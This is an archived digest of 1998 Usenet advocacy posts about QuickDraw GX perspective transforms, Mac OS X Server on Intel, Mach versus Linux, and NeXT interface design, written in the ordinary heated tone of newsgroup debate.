>>>coordinates based on the X and Y coordinates themselves.
>>
>>And the info provided by the u and v elements of the GX 3x3 matrix,
>>which correspond to a rotation about the x and/or y axis, combined
>>with an element, 'w', which is essentially a distance element.
>
>Sortof.
Not "sortof".
> ... Unfortunately the u and v terms do not behave in a
>particularly useful way to someone trying to use them to represent 3D
>rotations. The GX example code (the bitmap example) basically figures
>out what the u and v (and other gxMapping) values should be based on
>what the resulting polygon is, not the other way around. Of course,
>that does make it easier to just drag around the corners of a polygon
>and the mapping code will just make things work for you. On the other
>hand, it lets you drag the corners around into an "impossible"
>perspective mapping as well.
Just because the GX example code figures out the GX 3x3 transformation
matrix based on what the resulting polygon should be does't mean that
you can't calculate the terms of the 3x3 matrix differently.
You seem to be confusing the user interface provided by the sample
code with the limitations of the mathematical representation
provided by the underlying engine. And as I showed elsewhere,
the mathematical representation is identical when you constrain
input points at (z=0) and ignore the screen z coordinates on output.
Just because the input user interface in the sample code has
limitations doesn't mean it's a problem with the underlying
representation.
In fact, if you dig up my other post, I derive a 3x3 GX matrix from
a 'rotation'/'translation' operation which would give the proper
"Star Wars" 3D text effect. In fact, using the technique I outlined
there, you should also be able to factor in camera angle as well.
>>Within the constraints of the 3x3 matrix of GX (not the cameralibrary
>>-I have no idea how accurate this would be), what is the difference
>>*in appearance* between taking a GX object and applying the 3x3 matrix
>>to obtain a rotation about the x and/or y axis in the z direction, and
>>the appearance obtained by applying a higher-order matrix and
>>projecting onto the screen?
>
>Perhaps nothing, but that still doesn't make GX's perspective effect a
>3D operation.
Are you in fact saying "they are mathematically equivalent, but
it's still not a 3D operation?"
Bwaaaaah ha ha ha ha ha ha ha ha!
> ... Taking 2D data and warping it in such a way that it
>appears to be 3D doesn't make the operation 3D in and of itself. You
>can get the polygon mapping code to generate completely screwed up
>perspective gxMapping matrices simply by asking it to generate a
>mapping from a convex to a concave polygon, which it will quite happily
>try to do. The resulting mess on the screen that results certainly
>doesn't look like 3D perspective any more.
It appears to me you are changing the subject: the discussion
at hand is not "if you generate a matrix that maps to a polygon
outline, does it work?" That's because we could also assume that
we are generating a 4x4 matrix from a trapazoidal cube and
complain the resulting skew operation is not perspective.
No, I'd suggest leaving trapazoids out of the discussion and
go back to the underlying GX 3x3 matrix.
>In any case, GX's renderer is still not really aware of real 3D
>perspective. If it was then it would also get everything else right
>when doing it's perspective operation, but currently it doesn't as Mike
>Paquette pointed out.
Haven't seen his note. Bet he didn't do the algaebra.
- Bill Woody
The PandaWave
From: ngroups@NOSPAM.fizbin.com (Harry)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <ngroups-0312981046170001@192.168.100.102>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com>
Organization: Fizbin Consulting
Date: Thu, 03 Dec 1998 10:46:17 -0800
NNTP-Posting-Date: Thu, 03 Dec 1998 10:46:14 PDT
In article <746k9p$820$1@your.mother.com>, "Todd Heberlein (todd at NetSQ
dot com)" <todd@dev.null> wrote:
> Because Apple hasn't committed to an Intel solution (other than OpenStep
> for Windows) beyond the initial MacOS X Server release.
Apple would be absolutely idiotic to NOT continue to market OS X server
into the Intel market - if not to, at the very least, gain inroads into
the corporate server market that has already made significant investments
into intel hardware.
In essence, these folks will not be buying mac hardware, just because
Apple wants them to, but they would try out OS X server on intel. If
sufficiently impressed, they might switch some of their servers over, and
when they need better performance, upgrade to Mac hardware in the next
upgrade cycle.
OSX/Intel is Apple's solution to selling more Macs down the road.
Harry
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacOS X User Interface
Content-Type: text/plain; charset=us-ascii
Message-ID: <F3ELCL.FGx@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: willadams@aol.com
Organization: needs one
References: <WGy92.166$QB3.4178387@news.rdc1.ne.home.com> <19981203132452.14328.00000951@ng57.aol.com>
Mime-Version: 1.0
Date: Thu, 3 Dec 1998 19:12:21 GMT
In <19981203132452.14328.00000951@ng57.aol.com> WillAdams wrote:
> One question which I do have here regarding Maury's criticism of the NeXT
> UI is how much of it is based on actual usage?
Sigh. Do you think I'm just making this up? Did you ever bother to
check my post's headers at any point in the last year? FYI, I spend some 8
to 10 hours on either OS4.2 or DR2 every day.
> For example, his criticism of the NeXT Shelf/Dock with desktop as void
> seems to be based on his incorrect assumption (which I've posted a
> correction for to which he has not responded) that dropping an icon
> onto the desktop results in the deletion of that file.
I never said anything of the sort, you must have misread something I
posted, or were referring to the message in which I confused the two terms
after reading a message that had them confused. And I'll ask you not to
talk about me in the third person, that's ill considerate.
So far it's been suggested I'm a rabid anti-NeXT-GUI flamer, that all I
post on is this topic, and now that I haven't used the OS much. All this
because I think the square black outlines of the windows look clinical and
aren't as nice as the "classic" Sys7 style.
The cheek, how dare I! Obviously anyone who speeks ill of the interface
must be insane and only like the Mac!
Another FYI, I hate the Mac interface too. And Windows even more. I
hate them all in some ways.
Maury
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 03 Dec 1998 13:55:12 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3666ECA0.664BDFF6@ericsson.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Charles Swiger wrote:
> Yes. The delay has largely been due to licensing/royalty issues and figuring
> out when and how to market the product, and not because Apple didn't have the
> technology to the point where they could ship it.
Just out of curiosity, who is your source for this? I remember Alex
Horovitz saying this on the OSX-talk list. Is that where you heard this?
> > And how possible is it that the GUI might be opened up a little bit to
> > allow for Linux instead of Mach (sp?) in its innards?
>
> OSX has a critical dependency on Mach messaging.
That's unfortunate, but why does it rule out a Linux port? Common
parlance holds Linux to be more than simply the Linux(tm) kernel, just
as Unix implies more than just the Unix timesharing system. What people
want is a version of YB that runs on the Linux+GNU systems that they
know and use and to which they have easy access.
Therefore it's hardly a huge obstacle that YB requires Mach. A
MkLinux-like Microkernel could be fitted into most existing
distributions with a minimum of hassle. If my experience with MkLinux
and LinuxPPC is any indicator, it requires little more than replacing
vmlinux and the X server binary (if so desired).
> While it's certainly
> possible to provide an emulation of this for other systems, what would be the
> point? Mach is an exceptionally good kernel with a level of innovation and
> performance that is at least as good as the Linux kernel (IMHO).
By all accounts (including my own) the Linux kernel outperforms OSF's
Mach kernel when used with GNU user systems like those included on most
Linux distributions. The level of difference in performance is a matter
of some discussion, but I have never seen literature which claims that
Mach outperforms Linux. If you could point me to some I would appreciate
that.
MJP
--
Smoking kills. If you're killed, you've lost a very important part of
your life.
-- Brooke Shields
From: "Jin Kim" <kwazyjin@hotmail.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com>
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <WGB92.2484$CY1.9917779@news.itd.umich.edu>
Date: Thu, 3 Dec 1998 14:28:58 -0500
NNTP-Posting-Date: Thu, 03 Dec 1998 14:32:06 EDT
Todd Heberlein (todd at NetSQ dot com) wrote in message
<746k9p$820$1@your.mother.com>...
>Jin Kim wrote in message ...
>>I don't understand why people want Apple to replace Mach with
>> Linux. ...
>
>Because Apple hasn't committed to an Intel solution (other than OpenStep
>for Windows) beyond the initial MacOS X Server release.
That still doesn't make sense to me. Why would Apple spend the
resources/money porting BSD/YB/Carbon to Linux when Mach already works on
x86? If Apple wants to discontinue working on x86 solution, it'll just
stop, not use another kernel.
- Jin
From: "Jin Kim" <kwazyjin@hotmail.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746l79$3ls$1@murdoch.acc.Virginia.EDU>
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <5PB92.2485$CY1.9921564@news.itd.umich.edu>
Date: Thu, 3 Dec 1998 14:37:40 -0500
NNTP-Posting-Date: Thu, 03 Dec 1998 14:40:49 EDT
Steven D. Majewski wrote in message
<746l79$3ls$1@murdoch.acc.Virginia.EDU>...
>>I don't understand why people want Apple to replace Mach with Linux. [...]
>
>Well -- one advantage, found in:
>
>"Optimizing the Idle Task and other MMU Tricks"
>
><http://www.cs.nmt.edu/~cort/papers/linuxppc-mm/linuxppc-mm.pdf>
>
>| "According to the LmBench benchmark, Linux/PPC is now twice as fast as
>| IBM's AIX/PPC operating system and between 10 and 120 times faster than
>| Apple's Mach based MkLinux/PPC and Rhapsody/PPC operating systems."
I know that LinuxPPC has very good performance in many areas, but replacing
Mach with Linux won't help speed up BSD/YB/Carbon speeds much. The speed
hits in MkLinux is due to software layering involved, which would remain in
Linux/BSD/YB/Carbon solution on x86. From what I understand Mach itself
isn't a dog when it comes to performance either. I'd like to see benchmarks
of Linux vs. Mach before making a conclusive statement about it. And
Rhapsody wasn't optimized much at all. I don't think benchmarking optimized
OS against beta quality OS is fair.
- Jin
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 3 Dec 98 10:09:18 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28C13F2-3BD09@206.165.43.215>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att.
net>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Hugh Johnson <hugh@damnspam.semplicesoft.com> said:
>(A copy of this message has also been posted to the following newsgroups:
>comp.sys.mac.advocacy,
>comp.sys.next.advocacy,comp.sys.mac.programmer.misc)
>
>Let's put this in layman's terms. You say GX text can be transformed into
>perspective like Star Wars opening credits. If it's just a 2D
>transformation, the letters will all have their bounding boxes turning
>into trapazoids, but they'll still have the same x-height and cap-height
>no matter how "distant" they are. There's no foreshortening, as a painter
>would say.
>
>If the transform is applied to 3D data, there _is_ foreshortening, and the
>glyphs in back truly look more distant, because they're smaller in both
>axes.
>
>So the question boils down to this: Does GX text exhibit the proper
>foreshortening, in addition to being squeezed and skewed into trapaziodal
>bounding boxes?
>
Yeah, there's foreshortening, even with a single letter.
the GX transform matrix looks like this:
|a b u|
|c d w|
|h k w|
and the full GX transform equation is:
x' = (ax + cy + h)/(ux + vy + w)
y' = (bx + dY + k)/(ux + vy + w)
which DOES work because it has the foreshortening paramenter (ux + vy + w)
since text is a path-shape underneath it all, and you can transform the
control points to obtain the foreshortening. As Mike Paquette has pointed
out, the foreshortening does NOT apply to lines, because there's only 2
control points, and thickness is determined by pen-width, which is a
constant.
Since GX's text-shapes don't handle more than one line of text at a time,
you can't use the transform object's own matrix to handle the editable
starwars effect, so you must devise a block-text editor, and apply the 3D
perspective to the viewport that the text is being drawn into, instead.
This works fine because GX mousetracking automatically compensates for a
viewport's transform. If nested viewports are involved, you gotta
concatenate the viewports' matrices and work from global mouse coordinates
instead.
The GX text-drawing and selection-drawing API's work automatically with the
full GX coordinate system, including nested viewports with nested
non-identity transform matrices.
When GX draws, it goes in this order:
It extracts the geometry of the shape object
It applies styllistic and color information from the style and ink objects
It applies the clip, and then the mapping, from the transform object
It aplies the mapping, and THEN the clip, from one or more [nested]
viewport objects
It applies the mapping and then the clip from one or more [nested] view
device objects.
You can draw different objects into different parts of the viewport
hierarchy to get interesting effects, such as perspectivized text
over/underlaying non-perspective text, both of which are editable-in-place.
I suspect that you could even overlay the SAME editable text with ITSELF
for a truely odd effect of selecting the text in one perspective and having
it change in all perspectives. This is because the GX picture shape allows
you to keep multiple references to the same geometry (with text, the
inidividual characters are the 'geometry'), while having overriding
transform, ink and style objects. In this case, since all picture-shape
elements are drawn into the same viewport, you could only work with a
single line of text with different overriding transform object mapping
matrices, but it would STILL be a [potentially] cool effect. For
text-blocks, you'd have to track the multiple copies yourself because
mappings of a block of GX text must be applied at the viewport level, and
all elements of the same picture shape draw into the same viewport.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 3 Dec 98 11:17:16 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28C4186-3DDA@206.165.43.2>
References: <36666ab0$0$229@nntp1.ba.best.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Kenneth C. Dyke <kcd@babylon5.jumpgate.com> said:
[...]
>I'm just not convinced that perspective text is worthwhile enough to
>drag in the rest of GX along with it. The developer world just
>doesn't need another ad-hoc object model to deal with that doesn't have
>real compiler or language support. I'd rather be able to write a
>custom shape subclass that can do neat things on it's own when someone
>clicks on it, instead of having some external piece of code be told
>about it.
>
GX, due to the retained-mode interface, is suitable for use in scripting
languages like HyperTalk and AppleScript. That makes it useful for a LOT of
purposes that you probably never even thought about. It also makes it
useful in sending pre-defined graphics from one application to another,
including on-the-fly modifications of controls. Look at the ShapeParts
Browser in the GX SDK graphics sample code for an idea of what GX or a
GX-like system could do for control-creation.
>I also don't think that modern CPUs should be crippled by using fixed
>point coordinate systems, given how fast FPUs are these days. Dealing
>with fixed point math everywhere is simply a pain in the ass, and a
>performance hit on modern processors. However, that doesn't mesh well
>with your dream of having the same API supported between a five year
>old 68K box and a 300Mhz G3 system (and beyond), unless you're willing
>to blow off 68K systems without FPUs, which I seriously doubt, or
>willing to deal with emulated floating point on those systems, which
>would also be a massive performance hit.
>
I can't believe that you are actually worried about this.
GX's coordinate system is a subset (for any practical purpose) of a
floating point system. Translation from GX to Carbon, coordinate-wise, is a
no-brainer for virtually ANY graphic that anyone would ever create for a
practical purpose via GX. Ditto with all the other issues, as long as the
transfer-modes of GX are supported.
The differences between GX and any other structured-retained-mode API
should be minimal, and can be cooerced to be identical as long as the
features of GX are preserved. The question is: will the underlying
graphics engine of Carbon and the YB support all the features of GX? Any
extra features would simply be discarded or "dumbed down" in a reverse
translation, or one could require that the YB/Carbon => translation work
ONLY when QT/GX constraints are applied (e.g., only equvialents to 3x3
transforms allowed, only QT-level transfer modes allowed, etc).
The idea is to make sure that as many apps as possible are available on the
Mac. excluding 68K and pre-8.6 MacOS owners from the game is NOT the way to
entice developers to develop for the MacOS.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Patrick T Hickey <patrick@kana.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Thu, 03 Dec 1998 08:58:18 -0800
Organization: System 5 Society
Message-ID: <3666C329.70CEF5B@kana.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <gmgraves-2711981053300001@sf-usr0-13-77.dialup.slip.net> <73n3s3$hnp$1@supernews.com> <73nqh4$bos@crab.afs.com> <73o7er$v2a$1@your.mother.com>
Mime-Version: 1.0
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"Todd Heberlein (todd at NetSQ dot com)" wrote:
> Does anyone know what happened to Jayson Adams? I remember the
> NewsGrazer story was a pretty sad situation.
>
> Todd
JavaSoft swallowed the IFCs as indicated by someone previously. By then,
the only remaining member of Netcode (Jayson and Scott Love's company) at
Netscape were Arnaud Weber, Scott Love myself. Linus Upson, Dave Moore and
Dave Kloba had already found higher ground by forming AvantGo. Scott was
in full battle with Netscape's Marketing forces and left very soon
afterwards in disgust. Arnaud fundamentally ran the Swing transition and
then Netscape, in a brilliant stroke, gave the IFCs to JavaSoft and that
was that. Call Swing a byproduct if you want. Last I heard Arnaud was in
the Kiva tools group at Netscape working on the Application Server. What
happens now with regard to Sun and AOL is anyone's guess.
Jayson's core Netcode Foundation Classes, all 10,000 lines of code, would
have accelerated the growth of web-based application development if not for
the mire of Java overall, then the specific mire of Sun due to the
threatened replacement of the hideous AWT.
Jayson is retired, laughing at the state of affairs in the world of
development, and quite unconcerned with much more than creating music and
art.
As far as Newsgrazer.....hakked together to support our internal needs at
NeXT it was never devised as a full-tilt shipping application. Jayson wrote
far better things that never saw the light of day, I can assure you.
regards,
patrick
From: peasley <peasley822noSPAM@aol.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 03 Dec 1998 14:22:23 -0600
Organization: The University of Iowa
Message-ID: <3666F2F5.11E9@aol.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net>
<746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net>
Mime-Version: 1.0
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Maury Markowitz wrote:
> The flaw, as I see it, with this line of reasoning is that Apple seems to
> have killed the PC version simply because they don't want a PC version. I
> don't see how basing it on a 3rd party kernel would make this any more
> attractive to them. This wasn't a technology issue (luckily!) but a
> political one. BTW, I don't like it either, don't get me wrong.
>
> Maury
Here's some idle speculation:
YOu know I have always wondered if this isn't a case where Apple "knifed
the baby" to keep MS happy.
From: Charles Reindorf US/EE1 60/1/44 #44278 <reindorf@lts.sel.alcatel.de>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 03 Dec 1998 20:50:35 +0100
Organization: Alcatel SEL AG Stuttgart
Message-ID: <ytg1zmhhuno.fsf@lts.sel.alcatel.de>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
<f6r92.2428$CY1.9646758@news.itd.umich.edu>
<746k9p$820$1@your.mother.com>
<WGB92.2484$CY1.9917779@news.itd.umich.edu>
NNTP-Posting-Date: 3 Dec 1998 19:50:45 GMT
"Jin Kim" <kwazyjin@hotmail.com> writes:
> That still doesn't make sense to me. Why would Apple spend the
> resources/money porting BSD/YB/Carbon to Linux when Mach already
> works on x86? If Apple wants to discontinue working on x86
> solution, it'll just stop, not use another kernel.
Question: Would an argument in favour of Linux here have to do with
device driver support??? Or does Mach/x86 have enough of that already?
Yours unknowingly,
Charles Reindorf
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: Thu, 03 Dec 1998 20:11:27 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <3666F06F.86D69BAF@digiscape.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de> <3665A681.4D6D2AA5@columbus.crosswinds.net>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Joe Rice wrote:
>
> Dell will preinstall linux for a price.
>
How ironic. Normally free linux costs more to have installed than
windows.
--
/--------------------------------------------------------------\
| chaotic42@digiscape.com |
| -------------------------------------------------------------|
| http://130.74.57.55 | ftp://130.74.57.55 |
| Nearly 3 gigs of mp3's |
|--------------------------------------------------------------|
| Don't fear the penguins! |
\ -------------------------------------------------------------/
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 3 Dec 98 13:58:07 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28C4990-2214B@206.165.43.2>
References: <F3E9yJ.9IF@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B28AF039-80CF1@206.165.43.204> "Lawson English" wrote:
>> Which shipping libraries that are available for free on every color Mac
>> shipped in the last 4 years (or have been upgraded to System 7.1 or
later)
>> can do this?
>
> None. I don't believe that GX qualifies either, as it did not ship on
>any of the Mac's I've purchased _ever_ requiring at the minimum an upgrad
>of the OS.
I have a hard time parsing that sentence. GX shipped with all Macs since
System 7.1. Every Mac user that upgraded to 7.1 or later has a copy of GX
sitting somewhere. Many people don't even know what the Apple Extras folder
is so many of these people actually have the GX installer sitting on their
hard drives, even though they never used GX.
In fact, every PowerMac, Quadra, LC II, LC III, LC475, and Performa XX
shipped with *some* version of GX, and there have been at least a few
million previous Mac users that upgraded to System 7.1, so I suspect that
50-75% of all current Mac users have a copy of some version of GX lying
around, and most of these people can install and use it without memory
upgrades, although I would recommend the GX INIT instead, since most of the
important (not all) of the GX printing capabilities are now available
without using GX print drivers and you appear to be the only one claiming
that GX still causes printing problems, even if one is only using the
GXGraphics INIT.
>
> But here you are on the OTHER argument again.
>
>You: name any system that can do xxx
>Us: ok, here's n of them
>You: well name one that consists ONLY of green cheese and can whistle
>Dixie
>underwater while weaving a new parachute?
>
> Sigh.
No, I want a graphics system that is available for free to Mac developers
and the vast majority of Mac users, since this is being read by readers of
the Mac advocacy and mac developers newsgroups (and NeXT advocates because
I believe that some of these issues are relevant -such as including QT
vector transfer-mode capabilities in the YB graphics system). Had I thought
that issues involving green cheese, whistling Dixie while weaving a
parachute, etc., were important, I would have cross-posted to those
newsgroups.
The *implicit* topic of ALL threads posted to comp.sys.mac.* and
comp.sys.next.* is that it involves something that is useful/relevant to
the readers of those newsgroups.
GX-like graphics libraries that aren't available to the vast majority of
readers of these newsgroups aren't relevant to those newsgroups.
And, in fact, libraries with GX typographical features are ONLY available
in 4 libraries: ATSUI, GX, Taligent and Java 2D. The rest of GX's
transfer-mode features are only available in GX, QuickTime vectors and
possibly Talgent. We don't know what transfer modes will be available via
the Carbon/YB libraries of MacOS X, but I fear that the GX transfer modes
simply wont be there.
And I honestly don't think that you have enough knowledge about them to
understand what a loss this will be to Mac users, both DTP professionals
and casual graphics users -even 2D games users can benefit, or do you think
that the $1200 QT IDE that was just announced as being suitable for many
games won't take full advantage of the GX transfer modes?
>
>> out-of-the-box, last I heard. For a 3rd-party to add it in won't be easy
>
> A topic on which you cannot comment whatsoever. Indeed the last time
>you
>claimed this the author of the application in question specifically stated
>the opposite.
>
Did he really? In fact, he said that his app might cost $90. GX conversion
to QT vectors is about 20 lines of code, and will be included in the $10
shareware fee. And WebPainter doesn't do typography or PS/EPS export. GXFCN
will do the printing thing because Apple's sample 8.0 GXToPS translator app
does this already -I just have to integrate it with standard GX raster
printing and System 7.x GX printing and I'll distribute my updated app for
free so that ANY Macuser can take a GX graphic and print it or translate it
to EPS, even if they don't use GXFCN themselves.
>> Sure it's an issue. It means that 68K owners AND PPC owners are being
>> screwed over. The fact that they aren't aware of it doesn't change
things.
>
> Yeah, screwed over. I DON'T have to install this huge chunk of code
that
>no one uses and makes my printers stop working. Damb that Apple!
>
Do you have any citations for your claim that the GXGraphics Init causes
printer problems?
I'd like to hear them, please.
>> > As the WebPainter author pointed out, this isn't an issue either.
>>
>> Did he?
>
> Yes.
>
>> What did he say about sharing of QT vectors with other apps?
>
> Nothing. In fact he said his customers didn't really use it and tend to
>use other portions of the app.
>
So vectors are useless? Or is the lack of typographical and bitmap-handling
in GX vectors a limitation that Apple needs to overcome?
>> > Ahhh, it's OUR problem.
>> >
>>
>> So it would seem...
>
> Yes, the WHOLE WORLD is dumb! I'm the only smart one!
>
I can't speak for the rest of the world on all issues, but since a sizeable
portion of the people screaming at me have been telling me that GX can't do
"true" 3D perspective, I'm willing to suggest that a sizeable portion of
the world doesn't think things through in certain GX-related situations.
> Yeah, right. Once again we see the overall patern of the thread repeat
>itself for the nth time. At some point in time you get fed up and start
>saying we're all stupid. This time it took only two weeks for this to
>happen though, which I think is the current recrod.
>
Not everyone is stupid. Some people even agree with me and can provide
mathematical proof for why (in a specific, isolated instance) they DO agree
with me.
>> Whose private e-mail have I posted on the internet without permission?
>
> Well duh, I can't say can I? You have however sent edited versions of
my
>messages in these threads onto other people in what appears to be an
effort
>to get them to refute me, without my permission. I have asked you to stop
>this behaviour several times.
>
????
>> done that once or twice and apologized when I realized what I had done.
>
> When why did you ask?
>
>> I've also posted a heavily-edited line that you can't determine the
source
>> of. And just who have you contacted who doesn't share my viewpoint
>whom I
>> have asserted does support my view?
>
> Basically every name you've quoted with the exception of Cary Clark, who
>I haven't conversed with. What invariably happens is you forward one of
my
>messages to someone thinking they'll take me to task, but they instead
>write to me thinking I was just misled on some of my comments, and that's
>when it comes out that you mailed them edited versions of my posts. After
>I point out the whole message we talk, and then they disagree with you.
>
Hmmmm...
That's incredibly difficult to respond to. One person that you recently had
correspondance with via e-mail sent me the following, so perhaps we BOTH
misinterpret things on occasion?
++++++++++++
From: alexc@totallyhip.com (Alex Curylo)
To: "Lawson English" <english@primenet.com>
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
References: <F3Cn6F.BEu@T-FCN.Net> <B28AF039-80CF1@206.165.43.204>
Organization: Totally Hip
X-UIDL: 3c36e74005200d7c185c84025e812a40
MIME-Version: 1.0
Content-Type: text/plain; charset=UNKNOWN-8BIT
Content-Transfer-Encoding: 7bit
In article <B28AF039-80CF1@206.165.43.204>, "Lawson English"
<english@primenet.com> wrote:
> And just who have you contacted who doesn't share my viewpoint whom I
> have asserted does support my view?
I believe he's probably talking about me, we were talking in email a
couple days ago. What I said is that you appear to be wasting a lot of
energy flogging a dead horse because GX is pretty much as dead as dead
gets and agitating for expansion of QuickTime's capabilities would be far
more productive, especially since that's where Tom Dowdy works now ... and
that Greg Manning who wrote PowerPrint/GX was very, very unenamoured of
the GX printing architecture, unlike you. But Greg seems to be staying out
of this discussion altogether, smart him :)
But feel free to post this or any other email I send, I just send my
comments by email because I read off a public newserver and I'm not about
to figure out how to use DejaNews just to clog up Usenet with my
ramblings.
--
Alex Curylo -- alexc@totallyhip.com
++++++++++++++
>> > For which 68k systems will Apple produce any new system software?
>>
>> That is my point
>
> No it's not. Your point is that GX is the greatest thing since sliced
>bread and all of us developers are morons because we don't use it.
>Anything else that resembles a point in these threads is invariably used
to
>try to reenforce this claim.
>
>> It don't have to be that way.
>
> That's right, my girlfriend keeps getting younger, my hair is falling in
>and last night someone from Apple came and replaced my Mac with a new
>one
>for free as soon as the old one got outdated!
>
>Maury
>
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Nik Simpson" <ndsimpso@ingr.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de> <3665A681.4D6D2AA5@columbus.crosswinds.net> <3666F06F.86D69BAF@digiscape.com>
Subject: Re: Linux preinstalled laptops?
Date: Thu, 3 Dec 1998 15:06:41 -0600
Organization: Intergraph Computer Systems (Server Division)
Message-ID: <UXG#48vH#GA.210@pet.hiwaay.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Chris Welch wrote in message <3666F06F.86D69BAF@digiscape.com>...
>Joe Rice wrote:
>>
>> Dell will preinstall linux for a price.
>>
>How ironic. Normally free linux costs more to have installed than
>windows.
Because Dell, like everyone else has totally automated routines for
installing software like Windows. I suspect if the Linux community wants to
have people like Dell preinstall without charging an arm and a leg they need
to look at how to make automated installation real simple.
--
Nik Simpson
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
Message-ID: <F3Eqs1.IAv@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: kwazyjin@hotmail.com
Organization: needs one
